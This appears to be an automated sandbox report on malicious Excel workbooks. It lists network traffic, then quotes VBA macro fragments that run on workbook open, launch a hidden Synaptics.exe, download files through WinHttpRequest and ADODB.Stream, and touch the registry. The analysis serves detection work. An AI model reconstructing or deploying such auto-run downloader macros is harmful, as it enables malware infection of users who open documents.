Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49852 version: TLS 1.2

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: I9FyyXRL.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: EOWRVPQCCS.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: VO87wxAM.xlsm.20.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: EIVQSAOTAQ.xlsm.20.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: I9FyyXRL.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: EOWRVPQCCS.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: VO87wxAM.xlsm.20.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: EIVQSAOTAQ.xlsm.20.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: I9FyyXRL.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: EOWRVPQCCS.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: VO87wxAM.xlsm.20.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: EIVQSAOTAQ.xlsm.20.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: I9FyyXRL.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: EOWRVPQCCS.xlsm.3.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VO87wxAM.xlsm.20.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Private Sub Workbook_Open()
Source: EIVQSAOTAQ.xlsm.20.dr	OLE, VBA macro line: Private Sub Workbook_BeforeClose(Cancel As Boolean)

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 2896

